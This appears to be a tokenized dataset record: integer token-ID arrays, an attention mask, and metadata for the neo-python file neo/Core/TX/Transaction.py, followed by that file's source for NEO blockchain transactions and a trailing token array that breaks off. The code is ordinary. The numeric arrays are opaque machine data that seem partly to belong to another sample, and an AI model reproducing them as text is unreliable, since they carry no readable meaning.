372, 334, 9305, 14, 2325, 342, 367, 8431, 315, 295, 14, 6452, 8, 82, 3212, 87, 22758, 1382, 430, 421, 199, 318, 1526, 63, 28557, 8, 1301, 304, 272, 408, 12147, 282, 1211, 4412, 4645, 687, 1382, 370, 3932, 22411, 1041, 272, 9220, 275, 10018, 8, 442, 9, 272, 367, 8431, 315, 4645, 8, 1301, 304, 267, 9220, 59, 9305, 61, 847, 413, 272, 372, 9220, 421, 199, 8906, 275, 359, 272, 283, 4478, 14, 65, 1589, 19185, 297, 272, 283, 863, 14, 15707, 297, 272, 283, 863, 14, 1274, 14, 19870, 14, 2352, 14, 16529, 297, 272, 283, 9923, 14, 509, 8515, 297, 272, 283, 2761, 14, 29764, 297, 272, 283, 9907, 14, 2638, 297, 272, 283, 21890, 14, 264, 17506, 1636, 14, 9923, 297, 199, 61, 199, 3, 1910, 3349, 314, 2569, 1004, 370, 675, 282, 12142, 663, 334, 845, 75, 11, 8247, 9, 199, 3, 8906, 275, 488, 199, 199, 1361, 3460, 1301, 3368, 199, 1361, 480, 7692, 26, 450, 83, 359, 78, 63, 3179, 63, 509, 63, 2227, 316, 8480, 450, 984, 14, 3020, 59, 16, 566, 199, 1361, 480, 259, 710, 849, 1329, 402, 4534, 365, 499, 538, 1085, 2685, 199, 1361, 342, 199, 199, 893, 26, 272, 302, 63, 3179, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 2590, 7888, 26, 272, 302, 63, 3179, 275, 499, 1011, 6155, 199, 2590, 1722, 26, 272, 870, 480, 1397, 282, 1686, 1329, 402, 4534, 26, 450, 82, 2, 450, 984, 14, 3020, 59, 17, 566, 272, 984, 14, 2224, 8, 17, 9, 421, 199, 1361, 480, 19236, 3388, 19497, 2634, 6093, 666, 531, 199, 1773, 63, 576, 275, 5267, 63, 1165, 13224, 2634, 8, 9401, 534, 2834, 297, 9695, 29, 8906, 680, 576, 199, 576, 63, 890, 63, 887, 275, 3089, 8, 552, 8, 83, 14, 2143, 360, 1624, 13, 24, 1333, 367, 308, 315, 3066, 63, 576, 9, 1182, 413, 69, 22, 199, 1361, 3647, 68, 8247, 446, 450, 16, 14, 19, 70, 4567, 2, 450, 334, 552, 8, 1773, 63, 576, 395, 666, 63, 890, 63, 887, 430, 199, 1361, 342, 199, 199, 1361, 480, 2141, 26165, 531, 199, 84, 16, 275, 900, 342, 199, 4106, 1793, 275, 7448, 26165, 342, 199, 4106, 1793, 14, 3269, 63, 4711, 8, 1418, 63, 28557, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 822, 8, 4106, 1793, 14, 362, 63, 4445, 63, 1247, 4059, 199, 1361, 342, 199, 199, 1361, 480, 5968, 13415, 641, 9857, 10809, 531, 199, 84, 16, 275, 900, 342, 199, 28885, 275, 13407, 13415, 8, 78, 63, 3179, 29, 78, 63, 3179, 9, 199, 56, 275, 19009, 14, 4711, 8, 1418, 63, 28557, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 302, 63, 10262, 63, 3406, 8, 56, 430, 199, 1361, 342, 199, 199, 1361, 480, 5968, 13415, 641, 3066, 4645, 531, 199, 84, 16, 275, 900, 342, 199, 28885, 275, 13407, 13415, 8, 78, 63, 3179, 29, 78, 63, 3179, 12, 1324, 63, 466, 628, 875, 531, 199, 56, 275, 19009, 14, 4711, 8, 4504, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 302, 63, 10262, 63, 3406, 8, 56, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 2486, 21326, 199, 5968, 13415, 436, 7448, 26165, 3599, 5447, 199, 2486, 21326, 199, 199, 2404, 11044, 13407, 13415, 436, 7448, 26165, 701, 1808, 3865, 370, 5477, 794, 199, 505, 8247, 14, 199, 199, 1918, 2893, 23789, 31216, 6302, 436, 8112, 1454, 27, 652, 3181, 1133, 5965, 886, 199, 25058, 2997, 543, 314, 12509, 11102, 14, 1666, 314, 2893, 10554, 199, 91, 3554, 63, 14368, 63, 1165, 13224, 2634, 12, 25802, 5565, 647, 367, 3503, 9328, 199, 265, 1318, 8247, 14, 199, 199, 33, 4339, 1155, 9844, 3382, 314, 1329, 402, 2895, 14581, 367, 7448, 26165, 436, 199, 509, 13407, 13415, 365, 370, 506, 1420, 7037, 370, 2631, 30063, 14, 199, 624, 199, 199, 3, 6529, 26, 491, 4291, 4779, 390, 262, 346, 665, 44, 14, 42, 14, 1713, 390, 262, 346, 32, 85, 3042, 14, 7530, 30, 199, 3, 844, 26, 6289, 650, 8502, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 5055, 492, 10018, 199, 646, 295, 199, 646, 984, 199, 504, 900, 492, 900, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 6357, 14, 12281, 492, 5267, 63, 1165, 13224, 2634, 199, 504, 6357, 14, 4445, 63, 24020, 492, 7448, 26165, 12, 13407, 13415, 421, 199, 318, 302, 63, 10262, 63, 3406, 8, 56, 304, 272, 408, 3407, 314, 1329, 402, 2222, 13, 4262, 4362, 315, 282, 16449, 3634, 1323, 1041, 272, 372, 822, 8, 1590, 14, 3235, 8, 56, 14, 10262, 3430, 17, 2459, 421, 199, 318, 4645, 8, 1301, 304, 272, 408, 12147, 4645, 687, 1382, 14, 339, 961, 4440, 282, 3486, 5163, 370, 2059, 3326, 1901, 4645, 14, 2104, 282, 1655, 272, 5448, 10352, 1146, 18140, 12, 1937, 14826, 26165, 503, 377, 23274, 26165, 14, 272, 408, 272, 372, 334, 9305, 14, 2325, 342, 367, 8431, 315, 295, 14, 6452, 8, 82, 3212, 87, 22758, 1382, 430, 421, 199, 318, 1526, 63, 28557, 8, 1301, 304, 272, 408, 12147, 282, 1211, 4412, 4645, 687, 1382, 370, 3932, 22411, 1041, 272, 9220, 275, 10018, 8, 442, 9, 272, 367, 8431, 315, 4645, 8, 1301, 304, 267, 9220, 59, 9305, 61, 847, 413, 272, 372, 9220, 421, 199, 8906, 275, 359, 272, 283, 4478, 14, 65, 1589, 19185, 297, 272, 283, 863, 14, 15707, 297, 272, 283, 863, 14, 1274, 14, 19870, 14, 2352, 14, 16529, 297, 272, 283, 9923, 14, 509, 8515, 297, 272, 283, 2761, 14, 29764, 297, 272, 283, 9907, 14, 2638, 297, 272, 283, 21890, 14, 264, 17506, 1636, 14, 9923, 297, 199, 61, 199, 3, 1910, 3349, 314, 2569, 1004, 370, 675, 282, 12142, 663, 334, 845, 75, 11, 8247, 9, 199, 3, 8906, 275, 488, 199, 199, 1361, 3460, 1301, 3368, 199, 1361, 480, 7692, 26, 450, 83, 359, 78, 63, 3179, 63, 509, 63, 2227, 316, 8480, 450, 984, 14, 3020, 59, 16, 566, 199, 1361, 480, 259, 710, 849, 1329, 402, 4534, 365, 499, 538, 1085, 2685, 199, 1361, 342, 199, 199, 893, 26, 272, 302, 63, 3179, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 2590, 7888, 26, 272, 302, 63, 3179, 275, 499, 1011, 6155, 199, 2590, 1722, 26, 272, 870, 480, 1397, 282, 1686, 1329, 402, 4534, 26, 450, 82, 2, 450, 984, 14, 3020, 59, 17, 566, 272, 984, 14, 2224, 8, 17, 9, 421, 199, 1361, 480, 19236, 3388, 19497, 2634, 6093, 666, 531, 199, 1773, 63, 576, 275, 5267, 63, 1165, 13224, 2634, 8, 9401, 534, 2834, 297, 9695, 29, 8906, 680, 576, 199, 576, 63, 890, 63, 887, 275, 3089, 8, 552, 8, 83, 14, 2143, 360, 1624, 13, 24, 1333, 367, 308, 315, 3066, 63, 576, 9, 1182, 413, 69, 22, 199, 1361, 3647, 68, 8247, 446, 450, 16, 14, 19, 70, 4567, 2, 450, 334, 552, 8, 1773, 63, 576, 395, 666, 63, 890, 63, 887, 430, 199, 1361, 342, 199, 199, 1361, 480, 2141, 26165, 531, 199, 84, 16, 275, 900, 342, 199, 4106, 1793, 275, 7448, 26165, 342, 199, 4106, 1793, 14, 3269, 63, 4711, 8, 1418, 63, 28557, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 822, 8, 4106, 1793, 14, 362, 63, 4445, 63, 1247, 4059, 199, 1361, 342, 199, 199, 1361, 480, 5968, 13415, 641, 9857, 10809, 531, 199, 84, 16, 275, 900, 342, 199, 28885, 275, 13407, 13415, 8, 78, 63, 3179, 29, 78, 63, 3179, 9, 199, 56, 275, 19009, 14, 4711, 8, 1418, 63, 28557, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 302, 63, 10262, 63, 3406, 8, 56, 430, 199, 1361, 342, 199, 199, 1361, 480, 5968, 13415, 641, 3066, 4645, 531, 199, 84, 16, 275, 900, 342, 199, 28885, 275, 13407, 13415, 8, 78, 63, 3179, 29, 78, 63, 3179, 12, 1324, 63, 466, 628, 875, 531, 199, 56, 275, 19009, 14, 4711, 8, 4504, 8, 68, 9, 367, 366, 315, 3066, 63, 576, 9, 199, 5553, 275, 900, 342, 446, 307, 16, 199, 1361, 480, 4456, 315, 450, 2319, 737, 450, 16, 14, 19, 70, 4567, 15, 83, 2, 450, 334, 5553, 12, 666, 63, 890, 63, 887, 1182, 7373, 430, 199, 1361, 480, 3601, 450, 68, 3747, 2895, 2, 450, 302, 63, 10262, 63, 3406, 8, 56, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
localhuman/neo-python
neo/Core/TX/Transaction.py
1
22181
# -*- coding:utf-8 -*- """ Description: Transaction Basic Class Usage: from neo.Core.Transaction import Transaction """ from itertools import groupby from neo.Blockchain import * from neo.Core.TX.TransactionAttribute import * from neocore.Fixed8 import Fixed8 from neo.Network.Inventory import Inventory from neo.Network.InventoryType import InventoryType from neo.Network.Mixins import InventoryMixin from neocore.Cryptography.Crypto import * from neocore.IO.Mixins import SerializableMixin from neo.IO.MemoryStream import StreamManager from neocore.IO.BinaryReader import BinaryReader from neo.Core.Mixins import EquatableMixin from neo.Core.Helper import Helper from neo.Core.Witness import Witness from neocore.UInt256 import UInt256 from neo.Core.AssetType import AssetType import inspect class TransactionResult(EquatableMixin): AssetId = None Amount = Fixed8(0) def __init__(self, asset_id, amount): """ Create an instance. Args: asset_id (UInt256): amount (Fixed8): """ self.AssetId = asset_id self.Amount = amount def ToString(self): """ Get a string representation of the object. Returns: str: """ return "%s -> %s " % (self.AssetId.ToString(), self.Amount.value) class TransactionType(object): MinerTransaction = b'\x00' IssueTransaction = b'\x01' ClaimTransaction = b'\x02' EnrollmentTransaction = b'\x20' VotingTransaction = b'\x24' RegisterTransaction = b'\x40' ContractTransaction = b'\x80' StateTransaction = b'\x90' AgencyTransaction = b'\xb0' PublishTransaction = b'\xd0' InvocationTransaction = b'\xd1' @staticmethod def ToName(value): if isinstance(value, int): value = value.to_bytes(1, 'little') for key, item in TransactionType.__dict__.items(): if value == item: return key return None class TransactionOutput(SerializableMixin, EquatableMixin): Value = None # should be fixed 8 ScriptHash = None AssetId = None """docstring for TransactionOutput""" def __init__(self, AssetId=None, Value=None, script_hash=None): """ Create an instance. Args: AssetId (UInt256): Value (Fixed8): script_hash (UInt160): """ super(TransactionOutput, self).__init__() self.AssetId = AssetId self.Value = Value self.ScriptHash = script_hash # if self.ScriptHash is None: # raise Exception("Script hash is required!!!!!!!!") @property def Address(self): """ Get the public address of the transaction. Returns: str: base58 encoded string representing the address. """ return Crypto.ToAddress(self.ScriptHash) @property def AddressBytes(self): """ Get the public address of the transaction. Returns: bytes: base58 encoded address. """ return bytes(self.Address, encoding='utf-8') def Serialize(self, writer): """ Serialize object. Args: writer (neo.IO.BinaryWriter): """ writer.WriteUInt256(self.AssetId) writer.WriteFixed8(self.Value) writer.WriteUInt160(self.ScriptHash) def Deserialize(self, reader): """ Deserialize full object. Args: reader (neo.IO.BinaryReader): """ self.AssetId = reader.ReadUInt256() self.Value = reader.ReadFixed8() self.ScriptHash = reader.ReadUInt160() if self.ScriptHash is None: raise Exception("Script hash is required from deserialize!!!!!!!!") def ToJson(self, index): """ Convert object members to a dictionary that can be parsed as JSON. Args: index (int): The index of the output in a transaction Returns: dict: """ return { 'n': index, 'asset': self.AssetId.To0xString(), 'value': self.Value.ToNeoJsonString(), 'address': self.Address } class TransactionInput(SerializableMixin, EquatableMixin): """docstring for TransactionInput""" PrevHash = None PrevIndex = None def __init__(self, prevHash=None, prevIndex=None): """ Create an instance. Args: prevHash (UInt256): prevIndex (int): """ super(TransactionInput, self).__init__() self.PrevHash = prevHash self.PrevIndex = prevIndex def Serialize(self, writer): """ Serialize object. Args: writer (neo.IO.BinaryWriter): """ writer.WriteUInt256(self.PrevHash) writer.WriteUInt16(self.PrevIndex) def Deserialize(self, reader): """ Deserialize full object. Args: reader (neo.IO.BinaryReader): """ self.PrevHash = reader.ReadUInt256() self.PrevIndex = reader.ReadUInt16() def ToString(self): """ Get the string representation of the object. Returns: str: PrevHash:PrevIndex """ return self.PrevHash + ":" + self.PrevIndex def ToJson(self): """ Convert object members to a dictionary that can be parsed as JSON. Returns: dict: """ return { 'PrevHash': self.PrevHash.To0xString(), 'PrevIndex': self.PrevIndex } class Transaction(Inventory, InventoryMixin): Type = None Version = 0 Attributes = [] inputs = [] outputs = [] scripts = [] __system_fee = None __network_fee = None InventoryType = InventoryType.TX __hash = None __htbs = None __height = 0 __references = None MAX_TX_ATTRIBUTES = 16 withdraw_hold = None """docstring for Transaction""" def __init__(self, inputs=[], outputs=[], attributes=[], scripts=[]): """ Create an instance. Args: inputs (list): of neo.Core.CoinReference.CoinReference. outputs (list): of neo.Core.TX.Transaction.TransactionOutput items. attributes (list): of neo.Core.TX.TransactionAttribute. scripts: """ super(Transaction, self).__init__() self.inputs = inputs self.outputs = outputs self.Attributes = attributes self.scripts = scripts self.InventoryType = 0x01 # InventoryType TX 0x01 self.__references = None @property def Hash(self): """ Get the hash of the transaction. Returns: UInt256: """ if not self.__hash: ba = bytearray(binascii.unhexlify(self.GetHashData())) hash = Crypto.Hash256(ba) self.__hash = UInt256(data=hash) return self.__hash def GetHashData(self): """ Get the data used for hashing. Returns: bytes: """ return Helper.GetHashData(self) def GetMessage(self): """ Get the data used for hashing. Returns: bytes: """ return self.GetHashData() def getAllInputs(self): """ Get the inputs. Returns: list: """ return self.inputs def ResetReferences(self): """Reset local stored references.""" self.__references = None def ResetHashData(self): """Reset local stored hash data.""" self.__hash = None @property def Scripts(self): """ Get the scripts Returns: list: """ return self.scripts @property def References(self): """ Get all references. Returns: dict: Key (UInt256): input PrevHash Value (TransactionOutput): object. """ if self.__references is None: refs = {} # group by the input prevhash for hash, group in groupby(self.inputs, lambda x: x.PrevHash): tx, height = GetBlockchain().GetTransaction(hash.ToBytes()) if tx is not None: for input in group: refs[input] = tx.outputs[input.PrevIndex] self.__references = refs return self.__references def Size(self): """ Get the total size in bytes of the object. Returns: int: size. """ len_attributes = sys.getsizeof(self.Attributes) len_inputs = sys.getsizeof(self.inputs) len_outputs = sys.getsizeof(self.outputs) len_scripts = sys.getsizeof(self.scripts) return sys.getsizeof(self.Type) + sys.getsizeof(0) + len_attributes + len_inputs + len_outputs + len_scripts def Height(self): return self.__height def SystemFee(self): """ Get the system fee. Returns: Fixed8: currently fixed to 0. """ return Fixed8(0) def NetworkFee(self): """ Get the network fee. Returns: Fixed8: """ if self.__network_fee is None: input = Fixed8(0) for coin_ref in self.References.values(): if coin_ref.AssetId == GetBlockchain().SystemCoin().Hash: input = input + coin_ref.Value output = Fixed8(0) for tx_output in self.outputs: if tx_output.AssetId == GetBlockchain().SystemCoin().Hash: output = output + tx_output.Value self.__network_fee = input - output - self.SystemFee() # logger.info("Determined network fee to be %s " % (self.__network_fee.value)) return self.__network_fee # if self.__network_fee == Fixed8.Satoshi(): # Fixed8 input = References.Values.Where(p= > p.AssetId.Equals(.SystemCoin.Hash)).Sum(p= > p.Value); # Fixed8 output = Outputs.Where(p= > p.AssetId.Equals(Blockchain.SystemCoin.Hash)).Sum(p= > p.Value); # _network_fee = input - output - SystemFee; # pass # return self.__network_fee def Deserialize(self, reader): """ Deserialize full object. Args: reader (neo.IO.BinaryReader): """ self.DeserializeUnsigned(reader) self.scripts = reader.ReadSerializableArray() self.OnDeserialized() def DeserializeExclusiveData(self, reader): pass @staticmethod def DeserializeFromBufer(buffer, offset=0): """ Deserialize object instance from the specified buffer. Args: buffer (bytes, bytearray, BytesIO): (Optional) data to create the stream from. offset: UNUSED Returns: Transaction: """ mstream = StreamManager.GetStream(buffer) reader = BinaryReader(mstream) tx = Transaction.DeserializeFrom(reader) StreamManager.ReleaseStream(mstream) return tx @staticmethod def DeserializeFrom(reader): """ Deserialize full object. Args: reader (neo.IO.BinaryReader): Returns: Transaction: """ ttype = reader.ReadByte() tx = None from neo.Core.TX.RegisterTransaction import RegisterTransaction from neo.Core.TX.IssueTransaction import IssueTransaction from neo.Core.TX.ClaimTransaction import ClaimTransaction from neo.Core.TX.MinerTransaction import MinerTransaction from neo.Core.TX.PublishTransaction import PublishTransaction from neo.Core.TX.InvocationTransaction import InvocationTransaction from neo.Core.TX.EnrollmentTransaction import EnrollmentTransaction from neo.Core.TX.StateTransaction import StateTransaction if ttype == int.from_bytes(TransactionType.RegisterTransaction, 'little'): tx = RegisterTransaction() elif ttype == int.from_bytes(TransactionType.MinerTransaction, 'little'): tx = MinerTransaction() elif ttype == int.from_bytes(TransactionType.IssueTransaction, 'little'): tx = IssueTransaction() elif ttype == int.from_bytes(TransactionType.ClaimTransaction, 'little'): tx = ClaimTransaction() elif ttype == int.from_bytes(TransactionType.PublishTransaction, 'little'): tx = PublishTransaction() elif ttype == int.from_bytes(TransactionType.InvocationTransaction, 'little'): tx = InvocationTransaction() elif ttype == int.from_bytes(TransactionType.EnrollmentTransaction, 'little'): tx = EnrollmentTransaction() elif ttype == int.from_bytes(TransactionType.StateTransaction, 'little'): tx = StateTransaction() else: tx = Transaction() tx.Type = ttype tx.DeserializeUnsignedWithoutType(reader) tx.scripts = [] byt = reader.ReadVarInt() if byt > 0: for i in range(0, byt): witness = Witness() witness.Deserialize(reader) tx.scripts.append(witness) tx.OnDeserialized() return tx def DeserializeUnsigned(self, reader): """ Deserialize object. Args: reader (neo.IO.BinaryReader): Raises: Exception: if transaction type is incorrect. """ txtype = reader.ReadByte() if txtype != int.from_bytes(self.Type, 'little'): raise Exception('incorrect type {}, wanted {}'.format(txtype, int.from_bytes(self.Type, 'little'))) self.DeserializeUnsignedWithoutType(reader) def DeserializeUnsignedWithoutType(self, reader): """ Deserialize object without reading transaction type data. Args: reader (neo.IO.BinaryReader): """ self.Version = reader.ReadByte() self.DeserializeExclusiveData(reader) self.Attributes = reader.ReadSerializableArray('neo.Core.TX.TransactionAttribute.TransactionAttribute', max=self.MAX_TX_ATTRIBUTES) self.inputs = reader.ReadSerializableArray('neo.Core.CoinReference.CoinReference') self.outputs = reader.ReadSerializableArray('neo.Core.TX.Transaction.TransactionOutput') def Equals(self, other): if other is None or other is not self: return False return self.Hash == other.Hash def ToArray(self): """ Get the byte data of self. Returns: bytes: """ return Helper.ToArray(self) def Serialize(self, writer): """ Serialize object. Args: writer (neo.IO.BinaryWriter): """ self.SerializeUnsigned(writer) writer.WriteSerializableArray(self.scripts) def SerializeUnsigned(self, writer): """ Serialize object. Args: writer (neo.IO.BinaryWriter): """ writer.WriteByte(self.Type) writer.WriteByte(self.Version) self.SerializeExclusiveData(writer) if len(self.Attributes) > self.MAX_TX_ATTRIBUTES: raise Exception("Cannot have more than %s transaction attributes" % self.MAX_TX_ATTRIBUTES) writer.WriteSerializableArray(self.Attributes) writer.WriteSerializableArray(self.inputs) writer.WriteSerializableArray(self.outputs) def SerializeExclusiveData(self, writer): pass def OnDeserialized(self): pass def ToJson(self): """ Convert object members to a dictionary that can be parsed as JSON. Returns: dict: """ jsn = {} jsn["txid"] = self.Hash.To0xString() jsn["type"] = TransactionType.ToName(self.Type) jsn["version"] = self.Version jsn["attributes"] = [attr.ToJson() for attr in self.Attributes] jsn["vout"] = [out.ToJson(i) for i, out in enumerate(self.outputs)] jsn["vin"] = [input.ToJson() for input in self.inputs] jsn["sys_fee"] = self.SystemFee().ToNeoJsonString() jsn["net_fee"] = self.NetworkFee().ToNeoJsonString() jsn["scripts"] = [script.ToJson() for script in self.scripts] return jsn def Verify(self, mempool): """ Verify the transaction. Args: mempool: Returns: bool: True if verified. False otherwise. """ logger.info("Verifying transaction: %s " % self.Hash.ToBytes()) return Helper.VerifyScripts(self) # logger.info("return true for now ...") # return True # for i in range(1, len(self.inputs)): # j=0 # while j < i: # j = j+1 # if self.inputs[i].PrevHash == self.inputs[j].PrevHash and self.inputs[i].PrevIndex() == self.inputs[j].PrevIndex(): # return False # logger.info("Verified inputs 1") # for tx in mempool: # if tx is not self: # for ip in self.inputs: # if ip in tx.inputs: # return False # # logger.info("Verified inputs 2, checking double spend") # # if GetBlockchain().IsDoubleSpend(self): # return False # # logger.info("verifying outputs ...") # for txOutput in self.outputs: # asset = GetBlockchain().GetAssetState(txOutput.AssetId) # # if asset is None: return False # # if txOutput.Value % pow(10, 8 - asset.Precision) != 0: # return False # # logger.info("unimplemented after here ...") # return True # txResults = self.GetTransactionResults() # # if txResults is None: return False # # destroyedResults = [] # [destroyedResults.append(tx) for tx in txResults if tx.Amount==Fixed8(0)] # numDestroyed = len(destroyedResults) # if numDestroyed > 1: # return False # if numDestroyed == 1 and destroyedResults[0].AssetId != GetSystemCoin().Hash: # return False # if self.SystemFee() > Fixed8(0) and ( numDestroyed == 0 or destroyedResults[0].Amount < self.SystemFee()): # return False # # issuedResults = [] # # [issuedResults.append(tx) for tx in txResults if tx.Amount() < Fixed8(0)] # # if self.Type == TransactionType.MinerTransaction or self.Type == TransactionType.ClaimTransaction: # for tx in issuedResults: # if tx.AssetId != GetSystemCoin().Hash: # return False # # elif self.Type == TransactionType.IssueTransaction: # for tx in issuedResults: # if tx.AssetId != GetSystemCoin().Hash: # return False # # else: # if len(issuedResults) > 0: # return False # # usageECDH=0 # # for attr in self.Attributes: # if attr.Usage == TransactionAttributeUsage.ECDH02 or attr.Usage == TransactionAttributeUsage.ECDH03: # usageECDH = usageECDH+1 # if usageECDH > 1: # return False # def GetScriptHashesForVerifying(self): """ Get a list of script hashes for verifying transactions. Raises: Exception: if there are no valid assets in the transaction. Returns: list: of UInt160 type script hashes. """ if not self.References and len(self.Attributes) < 1: return [] hashes = set() for coinref, output in self.References.items(): hashes.add(output.ScriptHash) for attr in self.Attributes: if attr.Usage == TransactionAttributeUsage.Script: if type(attr.Data) is UInt160: hashes.add(attr.Data) else: hashes.add(UInt160(data=attr.Data)) for key, group in groupby(self.outputs, lambda p: p.AssetId): asset = GetBlockchain().GetAssetState(key.ToBytes()) if asset is None: raise Exception("Invalid operation") if asset.AssetType == AssetType.DutyFlag: for p in group: hashes.add(p.ScriptHash) hashlist = list(hashes) hashlist.sort() return hashlist def GetTransactionResults(self): """ Get the execution results of the transaction. Returns: None: if the transaction has no references. list: of TransactionResult objects. """ if self.References is None: return None results = [] realresults = [] for ref_output in self.References.values(): results.append(TransactionResult(ref_output.AssetId, ref_output.Value)) for output in self.outputs: results.append(TransactionResult(output.AssetId, output.Value * Fixed8(-1))) for key, group in groupby(results, lambda x: x.AssetId): sum = Fixed8(0) for item in group: sum = sum + item.Amount if sum != Fixed8.Zero(): realresults.append(TransactionResult(key, sum)) return realresults class ContractTransaction(Transaction): def __init__(self, *args, **kwargs): """ Create an instance. Args: *args: **kwargs: """ super(ContractTransaction, self).__init__(*args, **kwargs) self.Type = TransactionType.ContractTransaction
mit
[ 3, 1882, 2803, 26, 1624, 13, 24, 1882, 199, 624, 199, 5831, 26, 272, 18244, 10082, 8089, 199, 7692, 26, 272, 687, 1279, 79, 14, 5402, 14, 10161, 492, 18244, 199, 624, 199, 504, 7975, 492, 20371, 199, 504, 1279, 79, 14, 3142, 4429, 492, 627, 199, 504, 1279, 79, 14, 5402, 14, 10051, 14, 10161, 1646, 492, 627, 199, 504, 1279, 79, 1018, 14, 9515, 24, 492, 18659, 24, 199, 504, 1279, 79, 14, 4491, 14, 19304, 492, 19337, 199, 504, 1279, 79, 14, 4491, 14, 19304, 804, 492, 19337, 804, 199, 504, 1279, 79, 14, 4491, 14, 18854, 3617, 492, 19337, 4256, 199, 504, 1279, 79, 1018, 14, 17134, 9773, 14, 17134, 492, 627, 199, 504, 1279, 79, 1018, 14, 2090, 14, 18854, 3617, 492, 11973, 14065, 4256, 199, 504, 1279, 79, 14, 2090, 14, 8628, 3296, 492, 8271, 2988, 199, 504, 1279, 79, 1018, 14, 2090, 14, 6636, 5929, 492, 14161, 5929, 199, 504, 1279, 79, 14, 5402, 14, 18854, 3617, 492, 662, 392, 15511, 4256, 199, 504, 1279, 79, 14, 5402, 14, 4433, 492, 11642, 199, 504, 1279, 79, 14, 5402, 14, 55, 24531, 492, 644, 24531, 199, 504, 1279, 79, 1018, 14, 13304, 3912, 492, 10666, 3912, 199, 504, 1279, 79, 14, 5402, 14, 19979, 804, 492, 25670, 804, 199, 646, 6485, 421, 199, 533, 18244, 2889, 8, 27933, 15511, 4256, 304, 272, 25670, 1304, 275, 488, 272, 26701, 275, 18659, 24, 8, 16, 9, 339, 347, 636, 826, 721, 277, 12, 8977, 63, 344, 12, 5982, 304, 267, 